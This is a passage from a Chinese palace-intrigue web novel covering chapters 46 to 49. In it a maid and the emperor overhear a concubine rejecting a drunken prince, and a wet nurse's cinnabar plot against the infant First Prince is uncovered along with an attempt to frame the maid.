芰荷忍俊不禁,牵着她的手道:“走吧,看过大皇子就去小厨房用膳,我让人给你留了你爱吃的。” “嗯!” 皇后身边的大宫女能在小厨房点菜,才人能吗?! 十二月是腊月,时间兜兜转转,很快到了月底,腊月最后一天,除夕。 阖宫嫔妃赶往乾清宫,参加除夕夜宴。 念及大皇子月龄尚小,皇后便未抱去,沈青和四个奶嬷嬷并充足的人手,以及一名防止意外的太医留守在坤宁宫。 芰荷向皇后请命留在坤宁宫,皇后想着左右宴席上没什么事,有青古和萱草在身边也够了,便点头应允。 皇后仪仗离开后,芰荷朝沈青眨了眨眼。 沈青微愣,芰荷留下来是为了她,不过想到芰荷和王积贵的关系,便知道兴许是王积贵那边有事。 果然,皇后离开后不久,芰荷便道:“这里有我给你看着,王公公说,让你戌时去御花园北侧的亭阁一趟,有要事相商。” 沈青点头应下:“好。” 在戌时到之前,沈青便系上带兜帽的披风,提着灯出门了。 这个时候,大家都在宫宴上,宫道上倒没几个人。 很快,她抵达御花园,往北侧的凉亭处走,紧接着,她便听到一道声音:“二王爷,请你自重!” 是嫣婕妤的声音,沈青不知道的是,在今天晚上,先帝的三个皇子分别被皇上封为了礼王、文王和信王。 但从嫣婕妤的话中也能听出这个二王爷是个何许人也。 沈青飞快吹灭了手中的灯,好奇心占了上风,蹑手蹑脚往声音传来的方向移。 御花园虽点着几盏灯,但天黑,很多地方还乌漆嘛黑,连月光都照不到。 正适合偷听。 不巧,有人也跟沈青的心思一样,沈青刚找好地方猫好,余光一瞥,发现另一边的假山后荡出的衣袍一角是那样熟悉。 她抬头一看,与对面两个人的视线对上,眼睛不由睁圆,傻楞住了。 是皇上,他身边跟着的不是钱继,而是王积贵。 纪宸看见不知何时蹲在那儿,团成雪白团子,披风上的红梅将其点缀的十分可口的某人,脸上的愠气稍稍收敛。 王积贵则冲她缓缓摇了摇头,意思是事情有变,不要轻举妄动。 沈青立刻捂住嘴,表示了解,保证绝不暴露二人在这里。 信息传递出了差错,但王积贵却不由莞尔。 第46章 第46章宫女四十六日 纪宸负手而立,即便默默偷听也一副从容不迫的气势,幸而从亭子往这邊看,假山能挡住他。 这几日没有下雪,禦花園的宫人打扫也勤,不管是花畦还是小路上,都无積雪残留。 沈青也得以不发出任何声响靠近。 比起纪宸的沉着,她便显得鬼祟了些,不过没关系,沈青竖起耳朵听。 二王爷的声音很快传来,他唤嫣婕妤为云湄,语气缠缠绵绵,带着股浓厚的醉意。 沈青翻看过这届秀女的册子,知道云湄是嫣婕妤的名字。 能如此称呼,许是二人早就相识。 醉了,便代表他此时所行所言皆出自本心。 “云湄,你说话真讓我伤心,做了我皇 兄的妃子,我们往日种种便可一笔勾销了嗎?” 嫣婕妤语气极为疑惑:“我与你何时有过瓜葛,污蔑我的清白与你有何好處?” 二王爷语气骤然起伏:“去年我们在崇福寺有过一面之缘,当日我拿出贴身玉佩相赠,可有错?” 嫣婕妤冷静对答道:“见色起意之徒,玉佩我并未收,情意自也无从谈起。” “那之后我给你送信,道明我的身份和对你的喜欢,许你側妃之位,这也算不得什么嗎?” 嫣婕妤道:“自然,你風流成性,我从未有一点属意过你,那封信我收到后当场便讓丫鬟给烧了,并催促父母将我参加大选的名单递上去。从我的所作所为,我想,你也该知道这是拒絕的意思。” “如今,我已成为皇上中意的婕妤,你作为王爷,又何苦纠缠不放?” 二王爷大声道:“本王倾心与你啊!” 沈青被惊的一个仰臉。嬪妃无法与外男接触,二王爷可能忍了一年,才得以寻到机会来找嫣婕妤,情绪自然无法隐忍。 但这对嫣婕妤来说,实属无妄之灾。 嫣婕妤的每一句话都在极力撇清和二王爷的关系,可越是这般,二王爷越是想打破沙锅问到底。 “本王究竟哪里不如我皇兄?” 沈青觑了眼纪宸,相信嫣婕妤接下来的话很可能讓他龙心大悦。 哪个男人不喜欢被比较? 不要小瞧男人的胜负欲。 嫣婕妤清晰答道:“皇上是真龙天子,九五之尊,单从身份上王爷就比不过,更不必说皇上比王爷更威武雄壮,气宇轩昂,你在他面前犹如小鸡仔与老鹰。皇上風采犹如松柏,你却脚底虚浮,眼下青黑,风流的名声滿京城可闻,皇上在朝堂上力压朝臣,你却连入朝担职的文采都没有。王爷并非没有受训于皇上面前,何须这般发问来自取其辱?” 另一道声音久久不言,似是深受打击。 沈青目光幽幽看向纪宸,原来他的优点这么多吗? 任何人被这么夸,都会膨胀吧。 纪宸垂眸看向沈青,嘴角并无高兴的意思,冲沈青挑了挑眉。 亭子里的嫣婕妤见礼王伏在桌子上,眼睛发直发愣,回不过身,臉上是两坨酒气上头的红晕,当下便整了整衣裳:“既然话已说明白,我就先走了,希望王爷以后莫要再让人给我递消息约我相见。” 原是二王爷约的人,听嫣婕妤的话,还不止一次,于是嫣婕妤选择这次将话说明白。 很快,亭子處传来两道脚步声,離沈青他们这个方向越来越近。 沈青往另一側躲了躲,再看只见到嫣婕妤带着一名宫女步履匆匆離开的背影,没有发现他们在这儿。 离开禦花園行走在去往永和宫的宫道上,嫣婕妤的速度这才降了下来,目光看向身邊的星羅。 星羅点了点头,轻声道:“皇上在禦花園……姑娘这招太惊险了,一招不慎便滿盘皆输。” 即便宫里有宫里的规矩,但星罗从小跟着嫣婕妤,私底下,她仍是唤着嫣婕妤姑娘。 嫣婕妤嘴角笑意蔓延:“看似险,实则稳,皇上也是男人,对普通男人奏效的方法对他也是一样。况且,将礼王这个隐患拔除,我将再无后顾之忧。” 星罗同意道:“礼王若非是王爷,那就是个十足的登徒子,不过一个侧妃之位,便想用它夺得姑娘的芳心,他那因国丧和亲祖父丧期接上而未能入门的正妃,可不是个好相与的,何况他那满后院的美人……” 还不如进宫呢- 亭子里的礼王烂醉如泥,纪宸不去训斥他便是好了,更不用说再躲躲藏藏。 当下便走到沈青面前,将她跟拔萝卜似的整个拔起。 “皇上,奴婢不是故意撞见的。”沈青怂怂道。 纪宸:“朕知道,你不是故意撞见,只是故意偷听。” 沈青:“……” 无法反驳,她只能讪笑着摸脸。 王积贵见此愈发沉默。 纪宸问:“嫣婕妤的事,你怎么看?” “奴婢能谈论嬪妃?” “朕允许,但说无妨。” 沈青想了想,道:“嫣婕妤好可怜,被一个不喜欢的人纠缠,对方还身份贵重,是天潢贵胄,让嫣婕妤拒絕都得挑方法,挑时刻。” 纪宸的气息渐渐危险。 沈青的声音随即越发小了,她心里咯噔一下,皇上不会是觉得她意有所指,实际在说他的喜欢让她困扰吧。 冤枉啊!她对天发誓,绝无此意! 沈青连忙找补道:“当然,二王爷如何能跟皇上比呢,奴婢此话绝无别的意思。” 此地无银三百两。 任谁听着都是敷衍至极的解释,但纪宸信了,缓和起来。 他最知沈青的淳朴,指桑骂槐的本事她怎么可能有? 不知皇上心中对她有着极高评价的沈青,见纪宸的态度和缓,便知有效,再接再厉道:“就如嫣婕妤所说,皇上是龙,二王爷是虫,皇上莫要想差了。” 纪宸听完,看向她,沈青一脸莫名。 “没了?” 沈青试探性点了点头。 紧接着,脑袋就被敲了一下:“毫无诚意。” 撂下这句话后,徒余沈青伸手捂住脑袋,纪宸则转身去了亭子那边。 见王積贵跟着也走了,沈青连忙跟上,王積贵的要事还没和她说,能称得上要事,事情便不会小,且大概是关于她的。 到了亭子内,纪宸微抬下巴吩咐道:“把他泼醒。” 先帝的二皇子名唤纪寓,是先帝的一位周太妃所出,那位太妃的家族擅长敛财,也宠溺纪寓,纪寓平日一掷千金就是周家在后资助,纪寓未来的正妃亦出自周家嫡女。 也因此,周家女的亲祖父,纪寓的外祖父逝世,纪寓身为先帝皇子被耽误婚期也从未提过退婚。 王积贵闻言往一侧看了一眼,不多时,一名大力太监拎着装满水的水桶过来。 “泼。” 寒冬腊月的水兜头浇下,皇上出现都没反应过来起身行礼的礼王,这下彻底清醒了。 “臣弟参见皇兄……”礼王浑身湿淋淋站起来,抬头想发作却又猛然意识到现状,只能打着寒颤给皇上见礼。 纪宸劈头盖脸骂他道:“瞧瞧你干得好事,从宫外纠缠到宫内,你是想让朕陪着你成为笑话吗?” “臣弟不敢。” “不敢?”纪宸凝视他,“朕看你敢得很,除夕夜主动私会嫔妃,诚心不让朕过个好年是吧。” 礼王此时只能颤着两片唇说着惶恐啊。 纪宸此刻肝火正旺,数着礼王的罪责,将手上一串新的串珠一甩,凛声道:“礼王御前失仪,废黜王爷身份,即刻撵出宫去。” 气头上的皇上可不会再给纪寓找个身份当当,宴席上封王的旨意作废,他成了没什么名头的先帝二皇子。 纪寓因今晚封王而喜到饮了许多酒,在醉意的驱使下犯了平常不敢犯的事,最终又导致王爷的身份被废。 一环扣一环,但凡他有半点尊重畏惧皇帝,都不会干出这事。 纪寓还想再讨饶,却见纪宸看他的目光满是失望,他一愣,被人一左一右钳住离开此地了。 纪宸生气的也是这,他二弟心底是不服自己的,又被周家捧的不知天高地厚,若非念着他沉迷酒色身子骨废了,他早不留情面一脚踹过去了。 沈青从未见过这般生气的皇上,于是一点点缩小存在感,不由后悔,她为什么要跟过来。 是因为王积贵。 思及此,沈青细细看了一眼王积贵。 发现即便皇上声色俱厉,王积贵仍很沉稳,这大概就是他能在皇上身边呆那么久的原因,不由深深佩服。 纪宸想着嫣婕妤和纪寓的事,回头一看,发现 沈青正专注盯着王积贵在看。 虽然沈青眼中并无什么情意,但就是好气啊。 比听到嫣婕妤和纪寓私会的时候还要情绪翻滚的厉害。 一根手指轻佻地将沈青的下巴抬起,她的目光也落到面前的纪宸身上,纪宸方才的怒容已消失不见,唇边虽是弯起的弧度,眼底却是黑沉沉,似是在酝酿什么可怖的风暴。 还不如情绪外露呢。 沈青睫毛轻颤,目光无辜:“陛下?” 纪宸凑近她,以王积贵的视角下似乎要亲上去,他连忙垂首不去看,。 但其实纪宸只是在问:“今日为何出现在御花园,而不在大皇子处?” “因为……” 纪宸提醒她:“这个时节御花园没有花,残雪都没有,唯一能开的腊梅全在梅园,想好再回答。” 沈青闻言自不会再说什么出来看风景和收集雪来泡茶之类的话。 沈青讨好笑了笑:“这不是那日不小心碎掉了一根玉簪,奴婢来御花园给它刨个土坑祭奠一番,没想到就遇见了皇上,真是缘分。” 她在暗示纪宸不要忘记还碎了她一个玉簪,想勾起他的愧疚,或让他记起那天亲她的事,把这事轻拿轻放算了。 然而,纪宸的目光更沉了,盯得沈青愈发忐忑,她是顺着毛安抚的啊。 祭奠碎玉簪? 分明是在祭奠她那逝去的情缘! 纪宸觉得自己快要委屈死了,却又无法言明。 第47章 第47章宫女四十七日 “回禀皇上,是奴才约见沈青姑娘戌时来禦花园,但奈何嫣婕妤的事奴才未能走成。”王积贵忽然出声道,纵然处在奴才的位置上,声音也非奴气十足,而是那样的有礼有节与温和。 沈青极为诧异,想看向他,但奈何被纪宸抵着下巴,未成,反而被纪宸抓包了。 视线碰撞上,沈青利索認错并露出愧疚的小模样,連声道:“奴婢错了,奴婢不该找理由欺骗皇上。” 听着王积贵自稱奴才,沈青又一口一个奴婢,言語上仿佛很相稱…… “以后你不必在我跟前自称奴婢。”幽微难言之下連朕都忘记称了。 沈青眼中茫然,反應了一下才明白过来,立刻高兴道:“好!那能不能只私下来?” 她最擅长的便是顺杆往上爬,这点恩典算什么?纪宸好歹是皇帝,她接受的很快。 皇上可能把她当金丝雀养了,听她一口一个奴婢觉得难受,不过明面上沈青还是不想和皇上扯上关系。 见纪宸不说话,沈青雀跃之余,微微歪头,露出甜笑,眼睛专注地看向他,伸手揪了揪纪宸的衣裳,并左右摇晃。 她在冲他撒娇。 好新奇,是第一次。 在沈青只摇了一下,纪宸便道:“好。”再没有答應过这么快了。 沈青露出我就知道的表情,内心小小地自豪了一下,啧,她长的这么美,人见人爱实属正常。 被这一打岔,纪宸反倒不好在心里暗戳戳追究她和王积贵的事,因为沈青的脸上是那么清白坦荡。 对王积贵替她揽下此事,不需自己再费劲巴拉找理由很是惊奇。 倒显得他是以小人之心度君子之腹了。 纪宸松开手,将沈青挡在身后,面容一凝,责问道:“有何事不能和朕说?” 王积贵识时务跪下请罪:“奴才该死。” “奴才当初依皇上的命令肃清坤宁宮隐患时,犯了老毛病,在坤宁宮安插了自己的人,前几日有人发现大皇子处的一名奶嬷嬷疑似收了其他宮宮人的好处,此事奴才还在暗中查,约沈青姑娘出来见一面便是此事,拜托她在这段时间护住大皇子。” 纪宸皱眉忧心大皇子,同时不忘想到,这事王积贵即便想提前知会沈青,传个消息就行,难道王大公公連这道消息都传不出去嗎? 特意约见,不过是因许久未见格外想念罢了。 至于为什么许久未见,纪宸一点都不觉得是自己的问题,他作为乾清宫的主子,在沈青出现时吩咐奴才离开办事难道不正常嗎? 耳邊传来沈青焦急的声音,拉回了纪宸的思绪。 “哪个奶嬷嬷?” 大皇子身邊的四个奶嬷嬷分别姓王、刘、金、章,均来自不同籍贯,防备着两两合伙,危及皇子姓名。 “章嬷嬷。” 沈青微微皱眉,心中费解,她和章嬷嬷即便交情不深,也知道章嬷嬷最是老实本分了,她不会看不出皇上对大皇子的看重。即便真有困难,找皇后才是一本万利的方法。 皇后对四位奶嬷嬷一贯大方,希望她们能真心实意待大皇子,为了謹慎起见,皇后连离间计都用上了,分几日分别召见了奶嬷嬷,道明,凡是能检举其他奶嬷嬷有不妥之处,便能赐一笔黄金。 那是连沈青都为之心动的数额。 “糊涂!大皇子的事如何能耽搁,王积贵,你胆子大了,连朕都敢不报。” 王积贵垂首認罪。 底下人有自己的心思太正常不过了,做到王积贵这种份上,心大不足为奇,但这恰不是皇上能忍受的。 更不用说王积贵是因为沈青才暴露此事…… 但现在最要紧的是大皇子的安全,王积贵只能事后清算。 纪宸临时改道去坤宁宫,沈青也要回去,自是跟在一侧,并纪宸说了章嬷嬷的为人处事,并不认为她有必要去害大皇子。 只是最后一句猜测之語沈青没有说,她心中焦急大皇子的事,对王积贵也抱有担忧。 路上,纪宸已经冷静下来,如果章嬷嬷没有谋害皇子的胆子,那她被收买要做什么? 王积贵又特意告诉沈青此事,其中未必没有怀疑章嬷嬷的目的在沈青身上,希望她多加防范。 想清之后,大皇子的住处还是要去的,一为扫除隐患,二是护住沈青。 难道他堂堂皇帝还不如一个太监为小宫女思虑周全吗? 王积贵垂着眼,叫人看不出他的神情。 等到坤宁宫时,皇后还没有从宴席上回来,纪宸见到大皇子身邊的禦医,讓其免礼,命令对方先给大皇子诊脉。 皇上面容嚴肃,禦医自然受其影响,给大皇子把脉更仔细了,唯恐遗漏。 在诊脉期间,錢全忠出现在纪宸身边,将乾清宫的人手带了过来。 并让钱继搬来厚重的檀木椅子,讓纪宸坐下,手旁是圆形的小茶几,茶几上摆着热茶、糕点、鎏金三足铜香炉,且已经点上了香。 纪宸看了眼香炉,道:“大皇子处不必燃香,将香炉撤下去。” 来得次数多了,他当然知道大皇子这里沈青定下的规矩,由此也可见她謹小慎微的性子。 錢繼上前将薰炉撤下去。 诊完脉,御医擦了擦额头不明显的汗水,行礼道:“回禀陛下,大皇子无碍。” 纪宸细细看了两眼大皇子,见他还十分有活力地在四处瞧,双手握着,便放心了。 但大皇子处的人不能不整治,若无意外,沈青会一直想呆在此处,于是问:“章嬷嬷何在。” 白胖的金嬷嬷站出来回道:“章嬷嬷身体有恙,这几日都在屋里歇着。” 她和章嬷嬷同屋。 纪宸看向沈青。 沈青点头:“金嬷嬷说的和奴婢了解的一样,这几天章嬷嬷确实频繁抱恙,身体每每见好总要嚴重,奴婢便未让她接触大皇子。” 奇了怪了,若是被收买为何会病了,不应该活跃起来吗? 怎反倒像特意不近大皇子的身。 沈青困惑,但皇上都在这主持大局了,依着大皇子的重要性,自然会查个明白。 纪宸吩咐道:“钱繼,你带人找到章嬷嬷,暂时羁押起来,将下人住处全部搜查一遍,另大皇子的这间屋子也不要放过。” 既是要整治,自然大查特查,光一个章嬷嬷怎么够,拿住了直接问,他要的是大皇子住处的安全。 自然要将所有糟污找出来。 王积贵适时开口:“皇上,不如奴才领人去宫人住处搜一搜?” 纪宸抬眸看了一眼王积贵,沉默片刻:“允。” 沈青的住处有他的贴身之物,该让不相干的人彻底认清真相了。 这个小宫女不是他可以肖想的。 纪宸和王积贵打的哑谜只在一瞬间,连沈青都没发现。 王积贵低头谢恩,和钱继带着人先去下人住的庑房。 一刻钟后,搜查完庑房的太监进到大皇子的住处开始继续搜,王积贵走到纪宸身边,低语道:“启禀皇上,奴才在章嬷嬷处找到了一包金银珠宝,其余人的住处并无任何东西,但在院内的花盆中发现了朱砂。” 说到朱砂二字,王积贵声音一轻,但仍能听出这是他话中的重心。 他抬眼看了眼皇上,果然,皇上脸色凝重,目光危险悠远,不复方才的看着严肃但实则松弛的状态。 沈青闻言,想着章嬷嬷还挺谨慎,没将东西放到住处,不然当下就说不清了,不过赃物都被找到了,已然是不干净了。 她看向钱继,发现跟在王积贵身边的钱继欲言又止,最后什么话也没说。 不由纳闷。 就在这时,有太监从屋内的大肚瓷瓶中又翻出一包朱砂,快步呈了上来。 年纪已经颇大的御医在旁边紧张地捋着胡须,得皇上眼神示意翻看过朱砂后,道:“朱砂具有镇静安神的功效,然有小毒,不宜大量服用,对于小孩子来说,少量久服会损伤元神,严重的则会变成痴儿。” 沈青听到这话连忙去看了眼大皇子,见他丝毫没发觉气氛有异,听到有人说话便啊啊应声,心中只觉难受。 这是存着破坏大皇子智力的目的,来斷大皇子的未来,一国太子自然不能愚笨。 若王积贵没有发现,可想而知大皇子长大后皇后会有多痛苦。 这里只有皇上一个主持大局的主子,御医的话音甫落,除了大皇子的咿呀之语,明明满室的人,此刻却静默地让人心惊。 除了皇上,其余人已经齐刷刷跪下了。 纪宸的手掌握成了拳。 皇上要想查清一件事比皇后要来得更雷厉风行些,不光是大皇子这里,整个坤宁宫都被封锁了起来。 脚步声响起,院内出现了披坚执锐的御林军,意味着这已经不是简单的勾心斗角了。 残害皇子,不就是要斷绝皇脉么。 普通人家尚且忌讳断子绝孙,更不用说皇室了。 而大皇子又是皇上唯一的皇子,再怎么珍之重之都不为过。 伺候大皇子的人除了沈青全部被扣押,荠荷同样随着出去了,但她是王积贵的人,应是无碍。 能将朱砂带进大皇子屋内的,唯有亲近之人方能做到。 一瞬间,沈青已经不止怀疑章嬷嬷了,将剩下三位奶嬷嬷怀疑了个遍,又将自己给怀疑上了。 她不确定地想,她应是没有梦游之症。 第48章 第48章宫女四十八日 对于王積貴的办事能力纪宸还是信任的,便讓钱全忠和王積貴一起查。 钱继则留在他身边,方才的欲言又止,不止沈青看见了,纪宸和王积貴也心知肚明。 王积貴不在乎钱继说什么,领命便出去了。 钱继看了眼沈青,沈青上道先避开。 却听纪宸道:“不必走,但说无妨。” 钱继顿了一下,低声道:“第一次找到的朱砂不是在院中花盆里,而是在沈青姑娘房中。” 没走并默默凑近听到这句话的沈青:“??” 凶手竟是我自己? 这当然是不可能的,沈青连忙辩解道:“奴婢房中绝无此物,你们在何處找到的,兴許是有什么误会,定是有人蓄意构陷!” 沈青急了,小脸上满是慌乱,还有说不清道不明的委屈。 她就是一个宫女,构陷她干什么?手段一点都不高明! “皇上,您得相信奴婢。”沈青病急乱投医道,此處没有皇后,所以退而求其次,皇上也行。 人一急,便没有刻意矫作出的垂惜之态。 偏最自然而然的反应,讓纪宸毫不犹豫道:“朕信。” 说完,可能觉得不够诚恳,他重复道:“朕相信你,莫要怕。” 得了保障,沈青这才慢慢脱离了惊惶。 钱继努努嘴:“其实奴才也信。”不然为何私底下才报,当然,更大的原因是他能揣摩圣意,凭皇上的心意定然不想沈青陷入孤立无援的處境,即便那时伸出援手或許更能讓人死心塌地。 但皇上不屑于此。 纪宸给了钱继一个眼刀子,让他自行体会。 钱继收敛了許多,正色,回答方才沈青的问题:“是在姑娘裝金子的匣子里。” “那是奴婢的寶貝,奴婢每日都打开看的。”沈青看向纪宸,气恼道,“凭什么把害人的東西放到奴婢的匣子里?” 美人生气也别有一番娇俏。 沈青气到就差叉腰骂人了,恼怒之下也不忘告知信息:“奴婢今日晌午才查看过,之后直到现在都没回房內。” 范围一下子缩小到下午和傍晚这两个时间段。 纪宸给钱继使了个眼色,钱继出去将这条消息递给王积贵,至于为什么不说与自家师父,那自然是帮人帮到底,帮沈青遮掩一二。 皇上喜欢的,他自不会忤逆违背。 室內只余皇上,沈青与不会说话的大皇子和几位乾清宫的宫人,又因大皇子身体康健,朱砂发现的较早,没来得及找机会喂给大皇子。 所以纪宸此时虽一副沉怒,但其实还有心情和沈青开玩笑:“朕的東西也自然在你的寶貝匣子里吧?” 沈青脑袋一空。 “……自然,皇上的東西必定是被我宝贝地收起来了,恨不得日日瞻仰。”沈青眨眨眼,努力让自己显得很真诚。 但怎么可能呢,如果她匣子里有纪宸的贴身之物,还有谁能胆大包天到往她匣子里放朱砂栽赃她?纪宸送的金钗是个好东西,但金钗有自己的盒子,还是金丝楠木,所以沈青就把他的东西一气儿全裝进金丝楠木中压箱底了。 看人看得多了,纪宸只一眼就知道沈青在心虛。 但是没关系,沈青这话一出口就意味着他的东西此后能进她的宝贝匣子了。 他继续道:“朕要的荷包,已经半个月了,已经是个半成品了吧。” 沈青咬牙:“当然,陛下真是料事如神。”其实一根针也没动,通通压箱底。 “手串……” 院中忽然传来通稟:“皇后娘娘到!” 沈青勉强维持住表情才不至于喜极而泣,她将大皇子小心抱起,知道皇后见到禦林军围在外面最担心的是什么,于是抱着大皇子在门口相迎,不出门是因为外面没有地龙,怕一时情急冻着大皇子。 皇后带着人一脸寒意与忐忑进来,见到大皇子,一双眼睛已经黏在了上面:“璨儿!” 沈青将大皇子递过去,并稟告道:“娘娘,大皇子无事。” 皇后这才露出一丝温柔,然后快步走到皇上面前,請安道:“臣妾失仪,請皇上恕罪。” 纪宸在她蹲下时已经提前虛扶了下她的胳膊:“你抱着璨儿,不必多礼。” 见到皇上皇后之间的礼节,沈青才猛然意识到她刚刚的举动有多不妥,即便起因是纪宸步步紧逼,丝毫不给人喘息的机会。 再等纪宸说下去,她都要割地赔款了。 谁能忍得住? 皇后将大皇子搂的很紧,天知道见到御林军围着坤宁宫时她有多慌,万幸,萧家没出事,她的大皇子也没出事,直到大皇子感觉到不舒服,皇后才放松了力道。 “皇上,这是怎么回事?” 纪宸将查到朱砂的事和皇后说了,皇后的目光一瞬间危险了起来,如同母狮子,在尖锐的情绪表露之前,立刻哽咽再行蹲礼道:“请皇上一定要彻查凶手,为我们的璨儿做主!” 纪宸第二次将人虚扶起来:“朕已经派人去查了,相信过不了多久就会有消息。” 钱全忠和王积贵两个人还查不清,干脆把乾清宫的班底打乱重组吧。 皇后信服道:“臣妾和璨儿相信皇上。” 皇后不觉得自己在皇上心中非常重要,所以句句带上大皇子,即便知道既然皇上已经坐在这,必不会让底下人敷衍,但仍是这么说了。 沈青已经许久没见 到皇上和皇后相处了,比起一年前,两人似乎生疏了不少。 皇后一心扑在大皇子身上,皇上有后宫嫔妃,分给彼此的时间少了自然只剩表面礼数。 此时皇后又提起除夕宴,道:“皇上,宫中又添了一件喜事,李美人有孕三个月了。” 三个月,胎基本已经稳了,李美人是德妃堂妹,九、十两月里,纪宸翻过几次李美人的牌子。 皇后没想到,李美人居然就这么轻易懷了,还被德妃瞒的很好。 今日晚归,也是先收到礼王被废的消息,后德妃炫耀李美人懷孕,皇后为了避免乌龙,在宴席上便使人请了禦医,两件事在一起,可不就耽误回来了么。 礼王被废,原因只说是御前失仪,再多的便打听不到了,消息被皇上封锁死了。 【若是谁要害璨儿,德妃本宫是不怀疑的,德妃被李美人牵绊,又怎会分出心神做一场天衣无缝的计划。】 【贤妃最近安静,八成是在憋着什么坏水,可她若下手,岂不败尽了皇上的情谊?此举愚蠢,太后也不会允许她动手。只是,本宫好希望是贤妃啊,有太后在,贤妃几乎是有了免死金牌。】 沈青听着皇后的心声,想从中得到灵感,找出是谁要蓄意陷害她。 可她已经对后宫嫔妃不熟悉了许多,不知道当时在太后宫里其余嫔妃的品性,分析起来自然困难许多。 纪宸得知李美人怀孕,微微颔首,便不再多言。 再抬眼一看这对主仆,一模一样的出神表情…… 皇后对旁人的视线更敏锐,她身居高位,少有人能直视,目光平和回望。沈青则迟钝许多,或是说对别人的目光很从容,拥有大方的心态,看就看吧,又不会少块肉。 身份低微又长的好,对位高于她的人用肆意凝视的目光打量早已习惯了。 皇后的心声消失,沈青旋即回神,这才注意到纪宸隐晦的目光,当即单纯微笑。 在皇后眼皮子底下搞事的本事她是没有的。 纪宸不知为何,很心疼,收回视线握着串珠。 这时,钱继进来禀报:“回禀皇上、皇后娘娘,意图谋害大皇子的人已经找到,是金嬷嬷。” 居然不是章嬷嬷,而是和章嬷嬷同住一屋的金嬷嬷! 因方才注意力没在金嬷嬷身上,沈青并未察觉金嬷嬷有何不对,但对于金嬷嬷,沈青比较了解,因为皇上来看大皇子,嫌人多时,随手一指,金嬷嬷留下的次数最多。 不止沈青在想金嬷嬷,皇后也思索着金嬷嬷这人。 【金嬷嬷虽作为奶嬷嬷入宫,但家里不缺钱,接赏赐时较其他奶嬷嬷来说显得很平淡。】 皇后将这道心声说了出来。 纪宸抬眼示意钱继,钱继接着道:“金嬷嬷发觉皇上到大皇子处总喜欢只留下一个奶嬷嬷,便认为这是个绝佳的机会,于半个月前从线人手中拿到朱砂,想在皇上来大皇子处时下手,害怕事情暴露,她并未将朱砂放到自己的住处,而是藏匿于大皇子殿下屋内的大肚瓷瓶中。因为金嬷嬷发现,打扫寝屋的宫人并不会擦理瓷瓶内部,她贴着瓷瓶腹部的曲线能很好藏匿住朱砂。” “而同住一屋的章嬷嬷前几日得了何贵人的贿赂,被何贵人要求将沈青姑娘从皇后身边赶走,章嬷嬷恰巧发现了金嬷嬷的行为,却隐瞒不报,故意生病不近身伺候大皇子,想日后大皇子出问题逃过追责,于今日把早在称病前从瓷瓶中取出的一部分朱砂准备好,想趁沈青不得空时放进沈青的住处,却未预料到皇上收到章嬷嬷鬼祟的消息,担心对大皇子不利到的过快,以至于章嬷嬷只能临时将装朱砂的纸包放到院中花盆里。” “章嬷嬷意图构陷金嬷嬷和沈青狼狈为奸,以达到让皇后娘娘驱离沈青的目的。” 沈青听得目瞪口呆,章嬷嬷自然将东西放到了她的住处,如果没出意外的话,章嬷嬷本想今晚揭发,因为沈青习惯每晚打开宝贝匣子数金锭。 给章嬷嬷的时间只有半日,今日除夕,按照惯例主子奴才会一起守岁,给章嬷嬷可活动的时间和面见主子的机会可太足了。 皇后目光如潭水一般沉。 【如果何贵人知道章嬷嬷冒着本宫儿子有恙的风险还要算计沈青,本宫定不会放过何贵人!】 沈青目光一亮,皇后威武! 何贵人有孕,又是皇后的人,身份十分贵重,但奈何一踩就是皇后死穴。 沈青抿唇,心里简直要乐死了。 再看皇上,纪宸面容冷峻,光是目光就够将人千刀万剐了。 金嬷嬷直接算计到了皇上头上。 第49章 第49章宫女四十九日 大皇子身份贵重,每次身邊至少有两名奶嬷嬷一起照看,屋内随侍的宫女太监亦不少,每一个都是皇后亲自挑選出的机灵能干之人,金嬷嬷如果在这种情况下讓大皇子摄入朱砂,東西还没拿出来,人或许就被压住了。 然皇上一来,雖带了乾清宫的太监,但人手较之平日大皇子身邊的宫人数少多了,且那些太监无不将规矩二字刻在心间,又事事以皇上为重,对大皇子这里不免疏忽了,再加上只留下一名奶嬷嬷,于奶嬷嬷来说操作空间更大。 金嬷嬷深思熟虑敲定了这个计划,她并非不深深畏惧皇上,但是宫外催得急,坤寧宫又看得严,只能赶鸭子上架。 在皇上今晚到大皇子处时,因皇上问的是章嬷嬷,金嬷嬷便未觉得自己暴露,等到皇上要搜大皇子住处时,她仍抱有侥幸心理,毕竟能活,谁又想死呢。 将宫外交代的任务拖到大皇子三四个月大,这里面纵然有找不到机会的缘故,但更多的是金嬷嬷这人优柔寡断。 后来搜出朱砂,她已无法在众目睽睽之下畏罪自裁。 更不必说之后御林军都来了。 而章嬷嬷作为意外知情的人,在被查到收了何贵人金银珠宝时,便已经将这一切和盘托出,不过她的病是真病,每每要好时总会站在寒風口上猛吹風,所以病情时好时坏。 皇后看向皇上,她分得清轻重缓急,雖然急于处置了何贵人,但先猜测的是金嬷嬷的意图:“皇上,金嬷嬷背后授意此事的贼人,蔑视皇家,意图损害皇室血脉,来断您的江山,其心可诛!” 大皇子遭遇不测,皇后猜想已经不单单是后宫博弈的结果,皇上恐怕也有此想法。 紀宸维持端坐的姿势久久未动,双手搁置在膝头,眉梢往下压,身上的气势如稠墨般浓厚。 他的后宫看似复杂实则简单,原本的太子府后宅女眷,登基时的選秀,以及年前的大選达成了皇后、德妃、贤妃三方势力的平衡,以及如玉嬪、嫣婕妤般各自为營却在宫中仍不成气候的嬪妃,剩下位份低的嬪妃们,恩宠少但也算得上安分守己。 更重要的是,以上都没有人能将人手安插进坤寧宫大皇子身邊,还能将朱砂这种東西带进宫中。 甚至是太后,在离宫的时间里,对人手的掌控也大不如前,被钱全忠和王积贵分别蚕食了不少,最终归拢于他的手中。 皇后或许有机会,但她是大皇子的生母,做这种事于她没有任何好处。 因此,金嬷嬷背后的势力来自于宫外,又在后宫有着不俗的经營。 有了思绪,紀宸的神情仍未缓和多少,因为他在登基后设法拔除太后一部分势力时,竟遗漏了先帝后宫其他势力残留。 先帝时,雖是母后一家独大,只需暂避昭贵妃的锋芒,而昭贵妃有宠无子,女儿又年幼,从长远来看实在不足为惧,但先帝除了紀宸还有三名正儿八经的皇子,三名皇子背后又各有家族。 纪宸当太子时,他的地位不可动摇,当了皇上,帝王心术更是贯彻得当,但若几十年后,膝下皇子甚至不能擇出一个当普通帝王,那必是要从宗亲中过嗣一名,恐怕背后之人 正是打着这种营算。 布局几十年谋得皇位,也不算是庸策。 “此事,朕会一查到底。”纪宸道。 纪宸在沉吟不语时无一人敢打扰他,沈青也只是偷瞄了两眼,沉怒中的皇帝压迫感十足,但却也赋予了非凡的魅力。 